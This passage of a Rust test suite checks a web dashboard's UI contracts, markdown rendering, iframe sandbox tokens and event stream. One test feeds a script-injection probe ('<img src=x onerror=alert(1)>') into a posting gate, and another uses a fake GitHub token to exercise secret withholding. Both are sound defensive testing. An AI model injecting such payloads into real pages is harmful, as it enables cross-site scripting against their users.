19362            assert!(n.to_string().contains("strong"), "{p}: {n}");
19363        };
19364        strong("/advice_md/synthesis");
19365        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
19366        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
19367        strong("/advice_md/approaches/0");
19368        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
19369        strong("/candidate_summaries_md/0");
19370        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
19371        strong("/reviews_md/0/reviewers/0/summary");
19372        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
19373        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
19374        assert!(f[1].to_string().contains("strong"));
19375        strong("/reviews_md/0/reconsideration/0");
19376        strong("/reviews_md/0/fix/notes");
19377        strong("/reviews_md/0/fix/rejected/0");
19378        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
19379        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
19380        // The raw strings stay, and no schema moved.
19381        assert_eq!(v["candidates"][0]["summary"], "did **it**");
19382        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
19383    }
19384
19385    #[test]
19386    fn a_run_without_advice_has_no_advice_md() {
19387        let state = RunState::new(
19388            std::path::PathBuf::from("/repo"),
19389            "main".to_owned(),
19390            "abc".to_owned(),
19391            "x".to_owned(),
19392            crate::config::Config::default(),
19393        );
19394        let p = run_prose_md(&state);
19395        assert!(p.advice_md.is_none());
19396        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
19397    }
19398
19399    #[test]
19400    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
19401        let store = ask::Questions::at(PathBuf::from("unused"));
19402        let gt = crate::github_text::Withheld {
19403            title: false,
19404            body: true,
19405            categories: vec!["sensitive-data".into()],
19406        };
19407        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
19408        let (detail, comparison) =
19409            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
19410        let mut q = Question::new(
19411            "r".into(),
19412            "github-text".into(),
19413            "posting-gate".into(),
19414            "s".into(),
19415            detail,
19416            Vec::new(),
19417        );
19418        assert!(
19419            QuestionView::of(q.clone(), &store, None)
19420                .posting_view
19421                .is_none()
19422        );
19423        q.posting_comparison = Some(comparison);
19424        let view = QuestionView::of(q.clone(), &store, None);
19425        let field = &view.posting_view.unwrap().fields[0];
19426        assert_eq!(
19427            field
19428                .original
19429                .iter()
19430                .map(|f| f.text.as_str())
19431                .collect::<String>(),
19432            body
19433        );
19434        assert!(field.original[0].text.starts_with("<img"));
19435        let original_question: Question =
19436            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
19437        assert_eq!(original_question, q);
19438        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
19439            .original
19440            .start = 1;
19441        assert!(
19442            QuestionView::of(q.clone(), &store, None)
19443                .posting_view
19444                .is_none()
19445        );
19446        q.posting_comparison = original_question.posting_comparison;
19447        q.detail.push_str("extra context");
19448        assert!(
19449            QuestionView::of(q.clone(), &store, None)
19450                .posting_view
19451                .is_some()
19452        );
19453        q.detail.insert(0, 'x');
19454        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
19455    }
19456
19457    #[test]
19458    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
19459        let store = ask::Questions::at(PathBuf::from("unused"));
19460        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
19461        let gt = crate::github_text::Withheld::from_check(
19462            &crate::github_text::check("fix: x", body),
19463            "fix: x",
19464            body,
19465        )
19466        .unwrap();
19467        let (detail, comparison) =
19468            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
19469        let mut q = Question::new(
19470            "r".into(),
19471            "github-text".into(),
19472            "posting-gate".into(),
19473            "s".into(),
19474            detail,
19475            Vec::new(),
19476        );
19477        q.posting_comparison = Some(comparison);
19478        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
19479        let field = &value["posting_view"]["fields"][0];
19480        let group = &field["replacement_group"];
19481        let triggers = group["triggers"].as_array().unwrap();
19482        assert_eq!(triggers.len(), 2);
19483        assert_ne!(triggers[0], triggers[1]);
19484        for id in triggers {
19485            assert!(
19486                field["original"]
19487                    .as_array()
19488                    .unwrap()
19489                    .iter()
19490                    .any(|f| &f["pair"] == id)
19491            );
19492            assert!(
19493                !field["changed"]
19494                    .as_array()
19495                    .unwrap()
19496                    .iter()
19497                    .any(|f| &f["pair"] == id)
19498            );
19499        }
19500        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
19501            group["id"].as_u64().unwrap() as usize;
19502        assert!(
19503            QuestionView::of(q, &store, None).posting_view.is_none(),
19504            "group and trigger IDs cannot collide"
19505        );
19506    }
19507
19508    #[test]
19509    fn a_question_view_carries_markdown_for_each_thread_turn() {
19510        let home = TempDir::new().unwrap();
19511        let store = ask::Questions::at(home.path().join("questions"));
19512        let mut q = Question::new(
19513            "run".to_owned(),
19514            "implement".to_owned(),
19515            "impl-A".to_owned(),
19516            "which?".to_owned(),
19517            String::new(),
19518            Vec::new(),
19519        );
19520        q.say("plain words").unwrap();
19521        q.reply("use **this**", Vec::new()).unwrap();
19522        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19523        let bodies = &v["thread_bodies_md"];
19524        assert_eq!(bodies.as_array().unwrap().len(), 2);
19525        assert!(!bodies[0].to_string().contains("strong"));
19526        assert!(bodies[1].to_string().contains("strong"));
19527    }
19528
19529    #[test]
19530    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
19531        let home = TempDir::new().unwrap();
19532        let store = ask::Questions::at(home.path().join("questions"));
19533        let mut q = Question::new(
19534            "run".to_owned(),
19535            "conduct".to_owned(),
19536            "conduct".to_owned(),
19537            "which?".to_owned(),
19538            String::new(),
19539            Vec::new(),
19540        );
19541        q.say("plain words").unwrap();
19542        q.thread.push(ask::Turn {
19543            who: ask::Who::Agent,
19544            body: "Settled as `merge`".to_owned(),
19545            at: jiff::Timestamp::now(),
19546            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
19547        });
19548        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19549        let notes = &v["thread_notes_md"];
19550        assert_eq!(notes.as_array().unwrap().len(), 2);
19551        assert!(notes[0].is_null());
19552        let text = notes[1].to_string();
19553        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
19554        assert!(APP_JS.contains("ask-turn-note"));
19555    }
19556
19557    #[test]
19558    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
19559        // The land panel defers to `run.status` for merged, and labels a
19560        // recorded-open PR on any finished run (superseded, blocked, ...) as
19561        // last seen, never as live state.
19562        assert!(APP_JS.contains("function landView(run, raw) {"));
19563        assert!(
19564            APP_JS.contains(
19565                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
19566            )
19567        );
19568        assert!(APP_JS.contains("const pr = landView(run, raw);"));
19569        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
19570        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
19571        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
19572    }
19573
19574    #[test]
19575    fn live_runs_are_never_hidden_or_folded_as_superseded() {
19576        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
19577        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
19578        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
19579        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
19580    }
19581
19582    #[test]
19583    fn review_rounds_label_a_distinct_verified_head() {
19584        assert!(APP_JS.contains("round.verified_head"));
19585        assert!(APP_JS.contains("verified HEAD"));
19586        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
19587    }
19588
19589    #[test]
19590    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
19591        // A blocked task's chip and note must not fall back to a queued-like
19592        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
19593        // itself by e11fc58 but never checked here.
19594        assert!(APP_JS.contains("blocked: { glyph:"));
19595        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
19596
19597        // `blocked_by` mixes task ids and question ids in the same list, and
19598        // the client can only tell them apart by checking each id against
19599        // what it actually knows - never by guessing from the id's shape.
19600        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
19601        assert!(
19602            APP_JS.contains(
19603                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
19604            ),
19605            "the note line must name what a blocked task is waiting on, not just that it is blocked"
19606        );
19607        // The classification must key off `status_str`, never off `blocked_by`
19608        // or `block_reason` merely being present - both can survive briefly
19609        // on a task a hold or a dead daemon just moved off `blocked`.
19610        assert!(APP_JS.contains("if (status === \"blocked\") {"));
19611
19612        // A question a task is blocked on gets its own node in the same
19613        // dependency graph, not just a task-shaped node with nothing known
19614        // about it.
19615        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
19616        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
19617        assert!(
19618            APP_JS.contains("location.hash = \"#/questions\";"),
19619            "a question node must jump to the Questions screen, not pretend to be a task"
19620        );
19621
19622        // `Task::answers` - decisions already made - are shown as a record on
19623        // the card, the same disclosure style as the full instruction.
19624        assert!(APP_JS.contains("Resolved questions"));
19625        assert!(APP_JS.contains("r.answersList.append("));
19626        assert!(APP_CSS.contains(".task-answers"));
19627        {
19628            let start = APP_JS
19629                .find("function updateTalkTaskRow")
19630                .expect("updateTalkTaskRow");
19631            let body = &APP_JS[start..];
19632            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
19633            assert!(
19634                body.contains(
19635                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
19636                ),
19637                "a chat-filed task row must link to the task page"
19638            );
19639            assert!(
19640                !body.contains("#/runs/") && !body.contains("#/queue/"),
19641                "the row must not branch to a run or the queue card"
19642            );
19643            assert!(APP_CSS.contains(".talk-task-link"));
19644        }
19645    }
19646
19647    #[test]
19648    fn a_task_notification_links_to_the_task_page() {
19649        // A task notice opens the task detail page, not the Backlog card.
19650        let start = APP_JS
19651            .find("function noticeLink(")
19652            .expect("noticeLink exists");
19653        let body = &APP_JS[start..];
19654        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
19655        assert!(
19656            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
19657            "a task notice's link must target the task page"
19658        );
19659        assert!(
19660            !body.contains("#/queue/"),
19661            "regression: the task link must not go back to the Backlog route"
19662        );
19663        assert!(
19664            APP_JS.contains(
19665                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
19666            ),
19667            "`#/tasks/<id>` must parse into the task route"
19668        );
19669
19670        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
19671        assert!(
19672            APP_JS.contains(
19673                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
19674            ),
19675            "`#/queue/<id>` must parse into a route carrying that id"
19676        );
19677
19678        // And the Backlog view has to actually land on the card once it can
19679        // - see consumeQueueFocus(), which renderQueue() calls on every pass
19680        // so a focus set before the queue has loaded is retried once it has.
19681        assert!(APP_JS.contains("state.queueFocus = route.id;"));
19682        assert!(APP_JS.contains("function consumeQueueFocus()"));
19683        assert!(APP_JS.contains("jumpToTask(id)"));
19684    }
19685
19686    #[test]
19687    fn notifications_distinguish_actionable_questions_from_informational_notices() {
19688        let start = APP_JS
19689            .find("function noticeCoveredBy(")
19690            .expect("noticeCoveredBy exists");
19691        let body = &APP_JS[start..];
19692        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
19693
19694        // Historical associations are informational, even for open questions.
19695        assert!(body.contains("Associated question ${short}"));
19696        assert!(!body.contains("el(\"a\""));
19697
19698        // A resolved question displays status rather than an actionable link
19699        assert!(body.contains("(resolved)"));
19700        assert!(body.contains("(closed)"));
19701
19702        let start = APP_JS
19703            .find("function renderNotifications()")
19704            .expect("renderNotifications exists");
19705        let body = &APP_JS[start..];
19706        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
19707
19708        // Only a server-resolved answerable question supplies a response link.
19709        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
19710        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
19711        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
19712        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
19713    }
19714
19715    /// Chat rows are two lines at every width: the title alone, then the
19716    /// shrinkable secondary info.
19717    #[test]
19718    fn chat_rows_put_the_title_alone_on_the_first_line() {
19719        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
19720        assert!(APP_CSS.contains(
19721            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
19722        ));
19723        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
19724        assert!(APP_JS.contains("class: \"badge talk-unread\""));
19725    }
19726
19727    #[test]
19728    fn run_rows_put_the_title_alone_on_the_first_line() {
19729        assert!(
19730            APP_CSS.contains(
19731                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
19732            )
19733        );
19734        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
19735        assert!(APP_JS.contains("class: \"card run-card\""));
19736        assert!(APP_JS.contains("class: \"repo run-id\""));
19737    }
19738
19739    /// Wide screens get a master/detail layout built from the views a phone
19740    /// drills into. These are string assertions: they pin the contract between
19741    /// the three assets, not how it looks.
19742    #[test]
19743    fn wide_screens_show_list_and_preview_side_by_side() {
19744        // One breakpoint, spelled the same in the script and the stylesheet.
19745        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
19746        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
19747        assert!(APP_CSS.contains("main[data-split]"));
19748        assert!(APP_CSS.contains("body[data-split]"));
19749
19750        // The route -> panes table, and a narrow screen opting out of it.
19751        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
19752        assert!(
19753            APP_JS.contains(
19754                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
19755            )
19756        );
19757        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
19758        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
19759        assert!(INDEX_HTML.contains("id=\"split-empty\""));
19760
19761        // Selection is derived from the route, and only ever paints a row.
19762        assert!(APP_JS.contains("function markSelected() {"));
19763        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
19764        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
19765        // The dense row must override the stacked card the 720px block sets up.
19766        assert!(
19767            APP_CSS.contains(
19768                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
19769            )
19770        );
19771
19772        // Independent scrolling: the page stops scrolling, each pane does.
19773        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
19774        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
19775        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
19776        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
19777
19778        // A refresh must never navigate: the loaders still check that their
19779        // subject is the one on screen, and crossing the breakpoint only
19780        // re-reads the hash.
19781        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
19782        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
19783        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
19784        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
19785
19786        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
19787        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
19788    }
19789
19790    #[test]
19791    fn panel_sandbox_carries_exactly_popups() {
19792        let needle = "sandbox: \"";
19793        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
19794        assert_eq!(
19795            matches.len(),
19796            1,
19797            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
19798        );
19799        let start = matches[0].0 + needle.len();
19800        let end = APP_JS[start..]
19801            .find('"')
19802            .expect("sandbox attribute value must be terminated by a closing quote");
19803        let val = &APP_JS[start..start + end];
19804        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
19805        let expected: std::collections::BTreeSet<&str> =
19806            ["allow-popups", "allow-popups-to-escape-sandbox"]
19807                .into_iter()
19808                .collect();
19809        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
19810        assert!(
19811            !tokens.contains("allow-scripts"),
19812            "allow-scripts must never be present in sandbox"
19813        );
19814        assert!(
19815            !tokens.contains("allow-same-origin"),
19816            "allow-same-origin must never be present in sandbox"
19817        );
19818    }
19819
19820    #[test]
19821    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
19822        // consumeQueueFocus() clears an active Backlog search before it can
19823        // scroll to the target card (the sections list is hidden while a
19824        // search is showing), by recursing back into renderQueue(). The
19825        // fixer's first cut nulled state.queueFocus before that recursive
19826        // call, so the second pass saw nothing to jump to and the jump was
19827        // silently dropped whenever a notification's link was opened with a
19828        // stale search still active. state.queueFocus must only be cleared
19829        // right before jumpToTask() actually runs.
19830        assert!(
19831            APP_JS.contains(
19832                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
19833            ),
19834            "the search-clearing branch must run before state.queueFocus is cleared, or the \
19835             recursive renderQueue() call has nothing left to jump to"
19836        );
19837        assert!(
19838            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
19839            "state.queueFocus must be cleared only once the jump has landed, so a card that \
19840             arrives later still gets it"
19841        );
19842        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
19843        assert!(APP_JS.contains("is not in the current Backlog."));
19844        assert!(APP_JS.contains("li.card[data-task-id=\""));
19845        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
19846        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
19847        assert!(APP_CSS.contains(".card-permalink"));
19848        assert!(APP_CSS.contains(".queue-focus-status"));
19849        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
19850    }
19851
19852    #[test]
19853    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
19854        // The task's own repro: only the link text inside .notice-meta was
19855        // clickable, so a tap on the message, the timestamp, or the card's
19856        // padding did nothing - on a phone that reads as "the card doesn't
19857        // work" even though the tiny link inside it did. Mark read / Dismiss
19858        // must keep working independently of this: `.closest("a, button")`
19859        // is what lets a tap that actually lands on those elements fall
19860        // through instead of being hijacked into a navigation.
19861        assert!(
19862            APP_JS.contains(
19863                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
19864            ),
19865            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
19866        );
19867    }
19868
19869    #[test]
19870    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
19871        assert!(
19872            APP_JS.contains("round.verified_head !== round.head"),
19873            "a round that verified an earlier commit must be visibly distinct from one that \
19874             verified the head reviewers are looking at now"
19875        );
19876        assert!(
19877            APP_JS.contains("round.verified_at"),
19878            "when a check ran must be on the wire, not just which commit"
19879        );
19880        assert!(
19881            APP_JS.contains("resource_blocked"),
19882            "a command magi never got to run (shared build cache contention) must not render \
19883             the same as a command that ran and failed"
19884        );
19885    }
19886
19887    #[test]
19888    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
19889        // Every KPI tile but Total runs and Completion names an exact
19890        // RunStatus and hands it to openRunsFiltered(), which is what wires
19891        // the click into state.runsFilter.status (matchesFilter's own
19892        // status check) rather than the coarser runsStateFilter chips. Each
19893        // status literal here must be one of the strings runSection() (and
19894        // isStale()) actually compare a run's own `status` field against -
19895        // a status this dashboard invented would filter to nothing.
19896        assert!(
19897            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
19898            "every KPI tile built through statusTile() must route its click through \
19899             openRunsFiltered, the single place that sets the Runs filter"
19900        );
19901        for (label, status) in [
19902            ("Merged", "merged"),
19903            ("Ready", "ready"),
19904            ("Blocked", "blocked"),
19905            ("Stalled", "stalled"),
19906        ] {
19907            let call = format!("statusTile(\"{label}\", t.{status}, ");
19908            assert!(
19909                APP_JS.contains(&call),
19910                "expected the {label} KPI tile built via {call}..."
19911            );
19912            assert!(
19913                APP_JS.contains(&format!("status === \"{status}\"")),
19914                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
19915                 compare a run against, not one invented only for the stats tile"
19916            );
19917        }
19918        assert!(
19919            APP_JS.contains("function openRunsFiltered(status)"),
19920            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
19921        );
19922        assert!(
19923            APP_JS.contains(
19924                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
19925            ),
19926            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
19927        );
19928        // applyRoute() only flips which view is visible for a plain `#runs`
19929        // hash - it does not itself redraw the list (see applyRoute's own
19930        // handling below) - so openRunsFiltered must call renderRuns()
19931        // itself, and must call applyRoute() too so the view flips even
19932        // when the hash string doesn't change (the operator may already be
19933        // on the Runs view when a tile is tapped, which fires no
19934        // hashchange event at all).
19935        assert!(
19936            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
19937            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
19938             hashchange event that may never fire"
19939        );
19940    }
19941
19942    #[test]
19943    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
19944        // A stats tile can leave state.runsFilter.status set to something
19945        // done-by-construction (e.g. "merged") - picking "Active" afterward
19946        // must drop it the same way an incompatible tree section is already
19947        // dropped, or the Runs list renders permanently empty with no way
19948        // for the operator to tell why.
19949        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
19950        assert!(
19951            APP_JS.contains(
19952                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
19953            ),
19954            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
19955             guard for an incompatible tree section"
19956        );
19957    }
19958
19959    #[test]
19960    fn every_stats_queue_tile_names_a_real_queue_section() {
19961        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
19962        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
19963        // (consumeQueueSectionFocus finds no matching <details> and drops
19964        // the focus) rather than fail loudly, so pin every key against the
19965        // section list it has to resolve against.
19966        assert!(
19967            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
19968            "every queue tile built through sectionTile() must route its click through \
19969             openQueueSectionFocus"
19970        );
19971        for key in ["upnext", "running", "done", "held", "blocked"] {
19972            assert!(
19973                APP_JS.contains(&format!("{{ key: \"{key}\",")),
19974                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
19975            );
19976        }
19977        // Queued and Failed intentionally both resolve to "upnext" - the
19978        // same section queueSection() itself files them under - rather than
19979        // getting a section each.
19980        for line in [
19981            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
19982            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
19983            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
19984            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
19985            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
19986            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
19987        ] {
19988            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
19989        }
19990    }
19991
19992    #[test]
19993    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
19994        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
19995        // above for the section-focus channel a stats queue tile drives:
19996        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
19997        // through the stale-search-clear recursion into renderQueue(), and
19998        // clear it only once revealQueueSection() is actually about to run -
19999        // the same trap that once silently dropped a task-focus jump.
20000        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
20001        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
20002        assert!(APP_JS.contains("function revealQueueSection(details)"));
20003        assert!(
20004            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
20005            "renderQueue() must consume both focus channels on every pass"
20006        );
20007        assert!(
20008            APP_JS.contains(
20009                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
20010            ),
20011            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
20012             the recursive renderQueue() call has nothing left to reveal"
20013        );
20014        assert!(
20015            APP_JS.contains(
20016                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
20017            ),
20018            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20019        );
20020        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
20021        // task-focus form of the hash - a plain `#queue` navigation only
20022        // flips which view is visible. openQueueSectionFocus() must
20023        // therefore call renderQueue() itself, and applyRoute() too so the
20024        // view flips even when the hash doesn't change (the Backlog may
20025        // already be open when a tile is tapped, firing no hashchange
20026        // event at all).
20027        assert!(
20028            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
20029            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20030             hashchange event that may never fire"
20031        );
20032    }
20033
20034    #[tokio::test]
20035    async fn the_change_stream_announces_the_current_revisions_on_connect() {
20036        let f = Fixture::start().await;
20037
20038        let mut socket = tokio::net::TcpStream::connect(f.addr)
20039            .await
20040            .expect("connect");
20041        socket
20042            .write_all(
20043                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20044            )
20045            .await
20046            .expect("write request");
20047
20048        // Read until the first event arrives rather than to end of stream: the
20049        // stream is endless by design, which is the point of the route.
20050        let mut seen = String::new();
20051        let mut buf = [0u8; 1024];
20052        while !seen.contains("event: change") {
20053            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20054                .await
20055                .expect("the stream must speak within five seconds")
20056                .expect("read");
20057            assert!(read > 0, "the server closed the change stream: {seen}");
20058            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20059        }
20060
20061        assert!(
20062            seen.to_lowercase()
20063                .contains("content-type: text/event-stream"),
20064            "the browser only reconnects automatically for a real SSE stream: {seen}"
20065        );
20066        let data = seen
20067            .lines()
20068            .find_map(|l| l.strip_prefix("data:"))
20069            .expect("a data line");
20070        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20071        assert!(
20072            payload["queue_rev"].is_u64()
20073                && payload["runs_rev"].is_u64()
20074                && payload["questions_rev"].is_u64()
20075                && payload["talks_rev"].is_u64()
20076                && payload["notifications_rev"].is_u64()
20077                && payload["loop_rev"].is_u64(),
20078            "the client needs one revision per store to know what to refetch, \
20079             and `talks_rev` is the only notification a standing talk gets - a \
20080             phone whose radio slept through a turn learns about it here, as \
20081             does one whose operator started the loop from another device: \
20082             {payload}"
20083        );
20084
20085        // The front end re-polls health on a timer and on wake, and takes the
20086        // revisions from that answer whenever the stream is not up. So health
20087        // has to carry every key the stream carries: a phone on a link that
20088        // will not hold an SSE connection is exactly the phone that must still
20089        // notice a question, and a missing key there is not a 500 but a UI
20090        // that quietly stops updating.
20091        let health = f.get("/api/health").await.json();
20092        for key in [
20093            "queue_rev",
20094            "runs_rev",
20095            "questions_rev",
20096            "talks_rev",
20097            "notifications_rev",
20098            "loop_rev",
20099        ] {
20100            assert!(
20101                health[key].is_u64(),
20102                "health is the change stream's fallback and is missing `{key}`: {health}"
20103            );
20104        }
20105    }
20106
20107    #[tokio::test]
20108    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20109        let f = Fixture::start().await;
20110        let before = f.get("/api/health").await.json()["talks_rev"]
20111            .as_u64()
20112            .expect("talks_rev");
20113
20114        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20115        std::thread::sleep(Duration::from_millis(10));
20116        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20117        on_disk.turns.push(crate::talk::Turn {
20118            sender: None,
20119            breaks: Some(Vec::new()),
20120            messages: Vec::new(),
20121            posted_by: None,
20122            who: crate::talk::Who::Operator,
20123            body: "a new turn".to_owned(),
20124            at: Timestamp::now(),
20125            attachments: Vec::new(),
20126            usage: None,
20127        });
20128        f.talks().put(&mut on_disk).expect("record a turn");
20129
20130        let after = tokio::time::timeout(Duration::from_secs(5), async {
20131            loop {
20132                let revision = f.get("/api/health").await.json()["talks_rev"]
20133                    .as_u64()
20134                    .unwrap();
20135                if revision != before {
20136                    break revision;
20137                }
20138                tokio::time::sleep(Duration::from_millis(50)).await;
20139            }
20140        })
20141        .await
20142        .expect("shared monitor observes external turn");
20143        assert_ne!(
20144            before, after,
20145            "a phone must be able to notice a talk's reply without polling every store"
20146        );
20147    }
20148
20149    #[test]
